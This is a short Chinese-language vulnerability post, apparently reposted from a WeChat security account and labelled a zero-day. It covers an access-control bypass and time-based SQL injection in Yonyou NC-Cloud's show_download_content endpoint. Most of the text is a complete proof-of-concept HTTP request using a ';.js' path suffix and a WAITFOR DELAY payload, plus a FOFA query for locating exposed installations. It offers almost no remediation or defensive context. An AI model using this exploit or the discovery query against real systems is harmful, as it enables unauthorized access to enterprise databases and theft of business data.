用友NC-Cloud show_download_content接口权限绕过存在SQL注入漏洞

漏洞简述

用友NC Cloud是用友推出的大型企业数字化平台。用友NC-Cloud系统show_download_content接口权限绕过存在SQL注入漏洞

FOFA

app="用友-NC-Cloud"

POC

GET
/ebvp/infopub/show_download_content;.js?id=1';WAITFOR+DELAY'0:0:5'--+ HTTP/1.1
Host:
Cache-Control:max-age=0
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0 (Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML,likeGecko)Chrome/116.0.0.0Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:gzip,deflate

原文始发于微信公众号（7coinSec）：「0day」用友NC-Cloud show_download_content接口权限绕过存在SQL注入漏洞